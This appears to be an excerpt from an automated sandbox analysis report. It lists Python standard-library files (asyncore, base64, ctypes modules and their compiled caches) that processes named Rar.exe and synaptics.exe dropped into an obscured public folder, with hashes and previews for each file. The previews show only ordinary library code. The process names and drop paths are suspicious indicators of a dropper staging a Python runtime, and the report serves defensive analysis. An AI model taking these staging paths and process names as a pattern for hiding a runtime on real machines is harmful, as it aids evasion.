Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20917
Entropy (8bit):	4.558999571418994
Encrypted:	false
SSDEEP:	192:zrq3jJ1mtqOelBAVAWAm8HA2F13/29sq98ousJ9/k/u6QkAl+o/T1E06xkScEu9n:vq3jJwtq9lAAFAWzi1BSBk5
MD5:	392F12822B5A0A36504480D5B7DFC034
SHA1:	9180B8AA149971D3F96C7343F01307E3092A8A59
SHA-256:	8045DAC420E2A61BBA0474613F93282912A521AADDC027589158459DA2092469
SHA-512:	29F03D5411E003EC617CCB1B925A5C578B4BCD77FD34B6DE16EA592047975EED8FEDECD1C7E86082D3817B0A522436E93DB846025C72B33BBA9472D79EDD0E67
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	# -- Mode: Python --..# Id: asyncore.py,v 2.51 2000/09/07 22:29:26 rushing Exp..# Author: Sam Rushing <rushing@nightmare.com>....# ======================================================================..# Copyright 1996 by Sam Rushing..#..# All Rights Reserved..#..# Permission to use, copy, modify, and distribute this software and..# its documentation for any purpose and without fee is hereby..# granted, provided that the above copyright notice appear in all..# copies and that both that copyright notice and this permission..# notice appear in supporting documentation, and that the name of Sam..# Rushing not be used in advertising or publicity pertaining to..# distribution of the software without specific, written prior..# permission...#..# SAM RUSHING DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,..# INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN..# NO EVENT SHALL SAM RUSHING BE LIABLE FOR ANY SPECIAL, INDIRECT OR..# CONSEQUENT

C:\Users\Public\QExvbmVOb25l\Lib\base64.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	21450
Entropy (8bit):	4.817384784161953
Encrypted:	false
SSDEEP:	384:j+uTwvnidNdYaBM+3m8dvd936r34MJIz5V1d:9EANdlBM+3m8dvd936kfz57d
MD5:	430BEF083EDC3857987FA9FDFAD40A1B
SHA1:	53BD3144F2A93454D747A765AC63F14056428A19
SHA-256:	2BDCB6D9EDFD97C91BC8AB325FCC3226C71527AA444ADB0A4ED70B60C18C388D
SHA-512:	7C1B8EA49BA078D051F6F21F99D8E51DC25F790E3DAFF63F733124FC7CF89417A75A8F4565029B1F2EB17F545250E1087F04ECB064022907D2D59F6430912B3A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	#! /usr/bin/env python3...."""Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings"""....# Modified 04-Oct-1995 by Jack Jansen to use binascii module..# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support..# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere....import re..import struct..import binascii......__all__ = [.. # Legacy interface exports traditional RFC 2045 Base64 encodings.. 'encode', 'decode', 'encodebytes', 'decodebytes',.. # Generalized interface for other encodings.. 'b64encode', 'b64decode', 'b32encode', 'b32decode',.. 'b32hexencode', 'b32hexdecode', 'b16encode', 'b16decode',.. # Base85 and Ascii85 encodings.. 'b85encode', 'b85decode', 'a85encode', 'a85decode',.. # Standard Base64 encoding.. 'standard_b64encode', 'standard_b64decode',.. # Some common Base64 alternatives. As referenced by RFC 3458, see thread.. # starting at:.. #.. # http://zgp.org/pipermail/p2p-hackers/2001-September/00

C:\Users\Public\QExvbmVOb25l\Lib\collections\pycache\init.cpython-310.pyc.25954528

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	48466
Entropy (8bit):	5.122325300143825
Encrypted:	false
SSDEEP:	768:1bRUurnFDpytMbeGzDRBPou+eQyWImBfbGm49WxxSNo4Q+M2PvUPPAeOTMtJcCnM:RRtFDpyTGzDRBPoJImBfbGm49WxENbQ8
MD5:	D534A846CC1CFBD5889D485066EA9B1F
SHA1:	58DF6A8E86CB20F93FEB5B6E12D13CDF0C1A9530
SHA-256:	F8DA37FD833C794A450A9356AFB9DA4C34089BA30EB2E4845DC1B58C6264D3CD
SHA-512:	039FAAD32CE4CF831DFD6F5AC57D2EC04DEE708A3411CF92B8727E44425A9E61241C5B776DB61A6084314E8AB6B27817738C1CC9AF6D7B58683DD3E2C4C74D14
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.yO......Y.n.w.e.j...e.....z.d.d.l.m.Z...W.n...e.yg......Y.n.w.G.d.d...d.e.j ..Z!G.d.d...d.e.j"..Z#G.d.d...d.e.j$..Z%G.d.d...d.e&..Z'G.d.d...d.e(..Z)z.d.d.l.m)Z)..W.n...e.y.......Y.n.w.z.d.d.l.mZ..W.n...e.y.......d.d...ZY.n.w.d.d.d.d...d.d...Z+d d!..Z,z.d.d"l.m,Z,..W.n...e.y.......Y.n.w.G.d#d$..d$e(..Z-G.d%d&..d&e.j...Z/G.d'd(..d(e.j...Z0G.d)d..de.j...Z1G.d+d,..d,e.j2..Z3d.S.)-a?...This module implements specialized container datatypes providing.alternatives to Python's general purpose built-in containers, dict,.list, set, and tuple... namedtuple factory function for creating tuple subclasses with named fields.* deque list-like container with fast appends and pops on either end.* ChainMap dict-like class for creating a single view of multiple mappings.* Counter dict subclass

C:\Users\Public\QExvbmVOb25l\Lib\collections\pycache\abc.cpython-310.pyc.55452096

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.825708846798739
Encrypted:	false
SSDEEP:	6:y/jcteC5VvkFZlaE+MdF/Hj5J+soZAuaHxEMntGdgIun:CoeC7gj+Er+so+VltGdcn
MD5:	ED7096D7B9E7FB6E5392AD893D8540B4
SHA1:	63904A501EC62F5DC818C137906566C23FC0B503
SHA-256:	F4347E75E46BF3EEAD0EE408D916F5DD9BFACACD003CBCA478D188A6B3F576BF
SHA-512:	E155D58B184B06861688A460FC67FCD3FD8E07E3251A2175A72A80B77E85D305CC792900B2F41880064198FFF96323589772E4762C45ED1B761D4CEB1EF45197
Malicious:	false
Reputation:	low
Preview:	o........'-dz........................@...s$...d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.)......)...*)...__all__)..._CallableGenericAliasN)..._collections_abcr....r......r....r.....3C:\Users\Public\QExvbmVOb25l\lib\collections\abc.py..<module>....s..........

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	18551
Entropy (8bit):	4.911777403573548
Encrypted:	false
SSDEEP:	192:5UnNLtfcCpgqgGiYYIgH+MKIPpEVege6pGXtSNynb8055rev9RiRJX+CUgvDWYH:IgqgkgHTK/eg5055re7oh+qvDWYH
MD5:	4011BD449ADC4F81A3C2471D506F013D
SHA1:	917020BD87DB0A002CD9FE3A018BCF235B7F4748
SHA-256:	554DCFD54E9D080FB9157BED5323C74F2709982B1E5B64896B85164A0B983F57
SHA-512:	B04272D4BB930A11C80BB78992DFB7D7B0A9DABF665179FD56EE9E168116B3D999EC18C513626BDF23F23DCC5A581A4499FB67A43D6823D911FBF4B78AC854BB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""create and manipulate C data types in Python"""....import os as _os, sys as _sys..import types as _types....__version__ = "1.1.0"....from _ctypes import Union, Structure, Array..from _ctypes import _Pointer..from _ctypes import CFuncPtr as _CFuncPtr..from _ctypes import __version__ as _ctypes_version..from _ctypes import RTLD_LOCAL, RTLD_GLOBAL..from _ctypes import ArgumentError....from struct import calcsize as _calcsize....if __version__ != _ctypes_version:.. raise Exception("Version number mismatch", __version__, _ctypes_version)....if _os.name == "nt":.. from _ctypes import FormatError....DEFAULT_MODE = RTLD_LOCAL..if _os.name == "posix" and _sys.platform == "darwin":.. # On OS X 10.3, we use RTLD_GLOBAL as default mode.. # because RTLD_LOCAL does not work at least on some.. # libraries. OS X 10.3 is Darwin 7, so we check for.. # that..... if int(_os.uname().release.split('.')[0]) < 8:.. DEFAULT_MODE = RTLD_GLOBAL....from _ctypes import FUNCFLAG_CDEC

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\pycache\init.cpython-310.pyc.71408616

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15895
Entropy (8bit):	5.335194926314186
Encrypted:	false
SSDEEP:	384:QoMRQLVaCuoN1r9u1u2RTCQzweSkqxo5IbeX6EoV:QoMoVh9u1d9wqpIbQBoV
MD5:	93FF873A646B4442F31F836CBAF8035A
SHA1:	439C0B30D378DF9A3D8908950582D010F062770D
SHA-256:	E805E9E422A7CFA8180B21F4D6E9755C510C8C0F78D9D7DD3F682A600BDD9B30
SHA-512:	1A5AC9BF432D6F03CE6DC80758C841A02CBA8748CEEF78951BCC9216FCC77544B50B062B3B619E27E297874FF197743144027C68EC0364752053F9285B0AF2A3
Malicious:	false
Reputation:	low
Preview:	o........'-dwH.......................@...s(...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.e.k.rJe.d.e.e.....e.j.d.k.rUd.d.l.m.Z...e.Z.e.j.d.k.rqe.j.d.k.rqe.e.....j...d...d.....d.k.rqe.Z.d.d.l.m.Z m!Z"m#Z$m%Z&..d}d.d...Z'd}d.d...Z(i.Z)d.d...Ze.j.d.k.r.d.d.l.m+Z,..d.d.l.m-Z...i.Z/d.d...Z0e0j.r.ej..1d.d...e0_.n.e.j.d.k.r.d.d.l.m2Z,..d.d.l.m3Z3m4Z4m5Z5m6Z6m7Z7..d.d.l.m8Z8m9Z9..d.d l.m:Z:..d}d!d"..Z;G.d#d$..d$e:..Z<e;e<d%....G.d&d'..d'e:..Z=e;e=....G.d(d)..d)e:..Z>e;e>....G.d*d+..d+e:..Z?e;e?....G.d,d-..d-e:..Z@e;e@....e.d...e.d/..k...r'e?ZAe@ZBn.G.d0d1..d1e:..ZAe;eA....G.d2d3..d3e:..ZBe;eB....G.d4d5..d5e:..ZCe;eC....G.d6d7..d7e:..ZDe;eD....G.d8d9..d9e:..ZEe3eE..e3eD..k...rjeDZEe.d/..e.d:..k...rxe?ZFe@ZGn.G.d;d<..d<e:..ZFe;eF....G.d=d>..d>e:..ZGe;eG....G.d?d@..d@e:..ZHeH..eH_IeH_Je;eH....G.dAdB..dBe:..ZKeK..eK_IeK_Je;eK....G.dCdD..dDe:..ZLeL..eL_IeL_Je;eL....G.dEdF..dFe:..ZMe;eMd%....G.dGdH..dHe:..ZNeNZO

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\pycache\_endian.cpython-310.pyc.71985632

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1914
Entropy (8bit):	5.217988533253076
Encrypted:	false
SSDEEP:	48:v7p1APBJ0tfAE4yxn4rX4kbruu/fdq7RvRhPAEV5wq:l6r0OhyuLtV1qRoEV9
MD5:	B0F649A78E4D6B1EFF1431689B8BEAD6
SHA1:	1DE2B0406F2EAFB7A4A92589861DFEB236311E1B
SHA-256:	13F8D900754927F4EB07E5F92BFFD3821156376E2171BA9DB9F4BA8A69E76E23
SHA-512:	69D888A89EA7FD1CD7153546E1B5FF59C0975682E4899010065450069758F9091C2BC287A9477221C61CF1995C58B0FD9CBC20C3D5EB765FFA27CD8EB6584C3A
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.d.d.l.T.e.e...Z.d.d...Z.G.d.d...d.e.e.....Z.e.j.d.k.r/d.Z.e.Z.G.d.d...d.e.e.d...Z.d.S.e.j.d.k.rDd.Z.e.Z.G.d.d...d.e.e.d...Z.d.S.e.d.....)......N)...*c....................C...sH...t.\|.t...r.t.\|.t...S.t.\|.t...r.t.\|.j...\|.j...S.t.\|.t...r.\|.S.t.d.\|.......).z.Return the type with the 'other' byte order. Simple types like. c_int and so on already have __ctype_be__ and __ctype_le__. attributes which contain the types, for more complicated types. arrays and structures are supported.. z+This type does not support other endian: %s)...hasattr.._OTHER_ENDIAN..getattr..isinstance.._array_type.._other_endian.._type_Z._length_..issubclass..Structure..TypeError)...typ..r.....2C:\Users\Public\QExvbmVOb25l\lib\ctypes\_endian.pyr........s..................r....c........................s....e.Z.d.Z...f.d.d...Z.....Z.S.)..._swapped_metac........................s^...\|.d.k.r&g.}.\|.D.].}.\|.d...}.\|.d...}.\|.d.d.....}.\|...\|.t.\|...f.\|.......q.\|.}.

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\pycache\_endian.cpython-310.pyc.76999240

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1914
Entropy (8bit):	5.217988533253076
Encrypted:	false
SSDEEP:	48:v7p1APBJ0tfAE4yxn4rX4kbruu/fdq7RvRhPAEV5wq:l6r0OhyuLtV1qRoEV9
MD5:	B0F649A78E4D6B1EFF1431689B8BEAD6
SHA1:	1DE2B0406F2EAFB7A4A92589861DFEB236311E1B
SHA-256:	13F8D900754927F4EB07E5F92BFFD3821156376E2171BA9DB9F4BA8A69E76E23
SHA-512:	69D888A89EA7FD1CD7153546E1B5FF59C0975682E4899010065450069758F9091C2BC287A9477221C61CF1995C58B0FD9CBC20C3D5EB765FFA27CD8EB6584C3A
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.d.d.l.T.e.e...Z.d.d...Z.G.d.d...d.e.e.....Z.e.j.d.k.r/d.Z.e.Z.G.d.d...d.e.e.d...Z.d.S.e.j.d.k.rDd.Z.e.Z.G.d.d...d.e.e.d...Z.d.S.e.d.....)......N)...*c....................C...sH...t.\|.t...r.t.\|.t...S.t.\|.t...r.t.\|.j...\|.j...S.t.\|.t...r.\|.S.t.d.\|.......).z.Return the type with the 'other' byte order. Simple types like. c_int and so on already have __ctype_be__ and __ctype_le__. attributes which contain the types, for more complicated types. arrays and structures are supported.. z+This type does not support other endian: %s)...hasattr.._OTHER_ENDIAN..getattr..isinstance.._array_type.._other_endian.._type_Z._length_..issubclass..Structure..TypeError)...typ..r.....2C:\Users\Public\QExvbmVOb25l\lib\ctypes\_endian.pyr........s..................r....c........................s....e.Z.d.Z...f.d.d...Z.....Z.S.)..._swapped_metac........................s^...\|.d.k.r&g.}.\|.D.].}.\|.d...}.\|.d...}.\|.d.d.....}.\|...\|.t.\|...f.\|.......q.\|.}.

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\pycache\util.cpython-310.pyc.71893960

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	8325
Entropy (8bit):	5.4800871510315226
Encrypted:	false
SSDEEP:	192:s+G6LCXBDrl73zbXCL3mm0LGuZ7Iv0nwMXwDRi4qzDj:sloiDp7Do0LGutnwMXExqzDj
MD5:	DB18EDF9EDBAE3DD2D37622EB7DFCE11
SHA1:	78BA33E629B8D95B6007A5BD8EA039D6B45FE3EB
SHA-256:	177EB52C4C4F37BC7F01099B0DCD39FE605D63B331641AF76BD17FD74A5509BF
SHA-512:	FF1E36AB1F024F0DF6BDA2C60E6C2BBBADCDA9A48C6D17F640BAC2443263FDA974CF29F43AA177B5F7C91A210430894B215582E53637303FD531AA817EE56C3A
Malicious:	false
Reputation:	low
Preview:	o........'-d.7.......................@...s@...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.d.k.r"d.d...Z.d.d...Z.d.d...Z.noe.j.d.k.r7e.j.d.k.r7d.d.l.m.Z...d.d...Z.nZe.j...d...rDd.d.l.m.Z...nMe.j.d.k.r.d.d.l.Z.d.d.l.Z.d.d...Z.d.d...Z.e.j.d.k.rcd.d...Z.n.d.d...Z.e.j...d...rvd.d...Z.d.d...Z.n.e.j.d.k.r.d.d...Z.d'd.d...Z.n.d.d ..Z.d!d"..Z.d#d...Z.d$d%..Z.e.d&k.r.e.....d.S.d.S.)(.....N..ntc....................C...s....d.}.t.j...\|...}.\|.d.k.r.d.S.\|.t.\|.....}.t.j.\|.d.......d.d...\.}.}.t.\|.d.d.......d...}.\|.d.k.r3\|.d.7.}.t.\|.d.d.......d...}.\|.d.k.rCd.}.\|.d.k.rK\|.\|...S.d.S.).z.Return the version of MSVC that was used to build Python... For Python 2.3 and up, the version number is included in. sys.version. For earlier versions, assume the compiler is MSVC 6.. z.MSC v...........N.. .........................g......$@r....)...sys..version..find..len..split..int)...prefix..i..s..restZ.majorVersionZ.minorVersion..r...../C:\Users\Public\QExvbmVOb25l\lib\ctypes\util.py.._get_build_version.

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\pycache\util.cpython-310.pyc.76981296

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	8325
Entropy (8bit):	5.4800871510315226
Encrypted:	false
SSDEEP:	192:s+G6LCXBDrl73zbXCL3mm0LGuZ7Iv0nwMXwDRi4qzDj:sloiDp7Do0LGutnwMXExqzDj
MD5:	DB18EDF9EDBAE3DD2D37622EB7DFCE11
SHA1:	78BA33E629B8D95B6007A5BD8EA039D6B45FE3EB
SHA-256:	177EB52C4C4F37BC7F01099B0DCD39FE605D63B331641AF76BD17FD74A5509BF
SHA-512:	FF1E36AB1F024F0DF6BDA2C60E6C2BBBADCDA9A48C6D17F640BAC2443263FDA974CF29F43AA177B5F7C91A210430894B215582E53637303FD531AA817EE56C3A
Malicious:	false
Reputation:	low
Preview:	o........'-d.7.......................@...s@...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.d.k.r"d.d...Z.d.d...Z.d.d...Z.noe.j.d.k.r7e.j.d.k.r7d.d.l.m.Z...d.d...Z.nZe.j...d...rDd.d.l.m.Z...nMe.j.d.k.r.d.d.l.Z.d.d.l.Z.d.d...Z.d.d...Z.e.j.d.k.rcd.d...Z.n.d.d...Z.e.j...d...rvd.d...Z.d.d...Z.n.e.j.d.k.r.d.d...Z.d'd.d...Z.n.d.d ..Z.d!d"..Z.d#d...Z.d$d%..Z.e.d&k.r.e.....d.S.d.S.)(.....N..ntc....................C...s....d.}.t.j...\|...}.\|.d.k.r.d.S.\|.t.\|.....}.t.j.\|.d.......d.d...\.}.}.t.\|.d.d.......d...}.\|.d.k.r3\|.d.7.}.t.\|.d.d.......d...}.\|.d.k.rCd.}.\|.d.k.rK\|.\|...S.d.S.).z.Return the version of MSVC that was used to build Python... For Python 2.3 and up, the version number is included in. sys.version. For earlier versions, assume the compiler is MSVC 6.. z.MSC v...........N.. .........................g......$@r....)...sys..version..find..len..split..int)...prefix..i..s..restZ.majorVersionZ.minorVersion..r...../C:\Users\Public\QExvbmVOb25l\lib\ctypes\util.py.._get_build_version.

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\pycache\wintypes.cpython-310.pyc.71723904

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4871
Entropy (8bit):	5.545621791282772
Encrypted:	false
SSDEEP:	96:0n7SgQvVTrUEp2DHdwyeOXd97wUah1VWyGPTYPrVgI+AxROhOFPN:0n6VTAEp2DH+yZXjw7h1VWJSZe2N
MD5:	28F52ADCEE0136686A3583CE740D09FA
SHA1:	D4A13B70CB8A3417684AEA45ABC0C9577EEAC2F7
SHA-256:	05B71A0C0D64AE7E01D6C436C00372B10B3475D2ABC3B30FA823A192475FBF1D
SHA-512:	C3BF80F25B9421131AB8A0A57ED4E357766314AB946F77989BF26B88BF37B4C34C039C636AE5E33A203AE7B4DFBBB59F07E65881FCB408D53B9667D6DF90DA12
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.Z.e.j.Z.G.d.d...d.e.j...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j...Z.Z.e.j ..Z!Z"e.j#..Z$..Z%Z&e.j#..Z'Z(e.j)..Z*Z+e.j,..Z-Z.e../e.j...e../e.j,..k.rle.j.Z0e.j.Z1n.e../e.j...e../e.j,..k.r~e.j Z0e.j.Z1e.Z2e.Z3e.Z4e.Z5e.Z6e.Z7e.j,Z8e8Z9e8Z:e8Z;e8Z<e8Z=e8Z>e8Z?e8Z@e8ZAe8ZBe8ZCe8ZDe8ZEe8ZFe8ZGe8ZHe8ZIe8ZJe8ZKe8ZLe8ZMe8ZNe8ZOe8ZPe8ZQe8ZRe8ZSe8ZTe8ZUe8ZVe8ZWG.d.d...d.e.jX..ZYeY..ZZ..Z[Z\G.d.d...d.e.jX..Z]e]Z^G.d.d...d.e.jX..Z_G.d.d...d.e.jX..Z`e`..Za..ZbZcG.d.d...d.e.jX..Zded..ZeZfd.d...ZgG.d.d...d.e.jX..ZhehZiG.d.d...d.e.jX..ZjejZkd.ZlG.d.d...d.e.jX..ZmG.d.d...d.e.jX..Zne..oe.....ZpZqe..oe...Zre..oe.....ZsZte..oe...Zue..oe4..Zve..oe.....ZwZxe..oeh....ZyZze..oe...Z{e..oe8....Z\|Z}e..oeG..Z~e..oeH..Z.e..oe.....Z.Z.e..oe...Z.e..oe7..Z.e..oe.....Z.Z.e..oej....Z.Z.e..oe`....Z.Z.e..oec..Z.e..oeY....Z.Z.e..oe\....Z.Z.e..oeV..Z.e..oe...Z.e..oed....Z.Z.e..oef....Z.Z.e..oe^..Z.e..oe.....Z.Z.e..oe"..Z.e..o

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\_aix.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12906
Entropy (8bit):	4.709051951016039
Encrypted:	false
SSDEEP:	192:6u9ZuBRuVbIHqmh3Ahi9Dl9tUTBkqCYDS4ZK7TZUzvMsHpHs6NCir99b/wtpvB:6uvu/uJOhwhih9mlbUlwvMKHFJn/W7
MD5:	0BF271057C0AE3E6EEA6AE43DCDF8B78
SHA1:	556079CF59F04455C5FF64EAD5E0997A3E950E50
SHA-256:	8DCEFABF8101D7ED0A90AD3325AC10BED792580A0FCE71938A4B3106B8FA3FBE
SHA-512:	708E13CE7C9FBF71518F98386558FFCC9862CA37A36637E4CFD9BB4BB492CEA052F9D75457A4366EF6359D8E22BB2265D3AD0BCA648204DB8748D9184FA9174A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	"""..Lib/ctypes.util.find_library() support for AIX..Similar approach as done for Darwin support by using separate files..but unlike Darwin - no extension such as ctypes.macholib.*....dlopen() is an interface to AIX initAndLoad() - primary documentation at:..https://www.ibm.com/support/knowledgecenter/en/ssw_aix_61/com.ibm.aix.basetrf1/dlopen.htm..https://www.ibm.com/support/knowledgecenter/en/ssw_aix_61/com.ibm.aix.basetrf1/load.htm....AIX supports two styles for dlopen(): svr4 (System V Release 4) which is common on posix..platforms, but also a BSD style - aka SVR3.....From AIX 5.3 Difference Addendum (December 2004)..2.9 SVR4 linking affinity..Nowadays, there are two major object file formats used by the operating systems:..XCOFF: The COFF enhanced by IBM and others. The original COFF (Common..Object File Format) was the base of SVR3 and BSD 4.2 systems...ELF: Executable and Linking Format that was developed by AT&T and is a..base for SVR4 UNIX.....While the shared library content

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\_endian.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2061
Entropy (8bit):	4.642554806419105
Encrypted:	false
SSDEEP:	48:kFppFNPBJ5MJKZuf7HVUGsHYVjw10IiFQ/oil:kFpHNr5+uMjw1Piqwil
MD5:	017E36585911B8E46B02B637521E5B5C
SHA1:	73363C9FF4BDFB489732376832B1F450645E21C7
SHA-256:	48ACC287ECDEB183631CABF97DF977AF3F05E081FCE79A53C35B6078561F7C50
SHA-512:	7E4361B80483CD32E88A6C07A1F4310AA4AFF7857045D0879A6CB25C56F7E4C6DE62017F7EAC40B12EA67D94A2EF0FCDCAC20C14EB2B22BC3A298BF35E5AEEC1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	import sys..from ctypes import ...._array_type = type(Array)....def _other_endian(typ):.. """Return the type with the 'other' byte order. Simple types like.. c_int and so on already have __ctype_be__ and __ctype_le__.. attributes which contain the types, for more complicated types.. arrays and structures are supported... """.. # check _OTHER_ENDIAN attribute (present if typ is primitive type).. if hasattr(typ, _OTHER_ENDIAN):.. return getattr(typ, _OTHER_ENDIAN).. # if typ is array.. if isinstance(typ, _array_type):.. return _other_endian(typ._type_) typ._length_.. # if typ is structure.. if issubclass(typ, Structure):.. return typ.. raise TypeError("This type does not support other endian: %s" % typ)....class _swapped_meta(type(Structure)):.. def __setattr__(self, attrname, value):.. if attrname == "_fields_":.. fields = [].. for desc in value:.. name = desc[0]..

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\test\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	461
Entropy (8bit):	4.546124893741369
Encrypted:	false
SSDEEP:	12:5R8x5ZRpH6wGrhDAI9x2GJEVX6UlJTVGylg9weT:5WrhShDAK2WEkGJT0jf
MD5:	82611F2C799ACE4BAD58A6E89CE5B0D9
SHA1:	296591D4A8C033DAC5EF3FAB0F475884C7174F85
SHA-256:	9CC3DA0531E291012C8265313E60C63A5E4698FAF1551DC1D1F73953E4F70699
SHA-512:	09E5106F04CA697ADE0D646AFD69A4FFA6B6762EF1105D4F8D060ADA4BCABF2F8665F4B414AFED8690E223487C30C139AA4A4BF6C841DEA568B808A6C221B8F3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	import os..import unittest..from test import support..from test.support import import_helper......# skip tests if _ctypes was not built..ctypes = import_helper.import_module('ctypes')..ctypes_symbols = dir(ctypes)....def need_symbol(name):.. return unittest.skipUnless(name in ctypes_symbols,.. '{!r} is required'.format(name))....def load_tests(args):.. return support.load_package_tests(os.path.dirname(__file__), args)..

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\test\main.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.1268772959489075
Encrypted:	false
SSDEEP:	3:1GelAW3KBmo6LShh9QLM3z6RNMy:1HAtKkQLMSMy
MD5:	5257F93F9DB3817B3834209486F556E7
SHA1:	BF5B021DFA64416EB28154BE5E91CAEFB764303A
SHA-256:	DDE5CFCC88B23F92A41180A582C18CFD8CE2AFADD12B0F6780630F5EE699A6F1
SHA-512:	D2E43B2319E562ED5E95EB627C7912469B844714EB553B0262205C774A4AC3538AB4B1C2CB34C2402A3584D9BB138805A0138B8AC151AA8CE79F96D8A733038A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	from ctypes.test import load_tests..import unittest....unittest.main()..

C:\Users\Public\QExvbmVOb25l\Lib\ctypes\test\test_wintypes.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1440
Entropy (8bit):	4.787552984860967
Encrypted:	false
SSDEEP:	24:/xd+9Lk/r6BWf0dY/t0vy/t0vaFHhudJWeNgo/JK/t0vaFpUo0vSppe:/xGLk/beY/t0vCt0vaFcyoIt0vaF2o0T
MD5:	AF98AFCA97E67DFDFC4867B0E7140B37
SHA1:	D24AD3041C2FBE1DA28717806EDA588C3A000442
SHA-256:	718F309C3903BA935D0B22EC676AD77261B1AD866E926D500FDB8CB2F65CBF97
SHA-512:	6EE74B3AF3BAD18277725E2F6A48DDCAD20244F4D5E73023C2FCB28C185303E1E5C86538A36D6D1638031B0A73F284202E5E14B4E1EBDDFFD9484838B7902AF9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
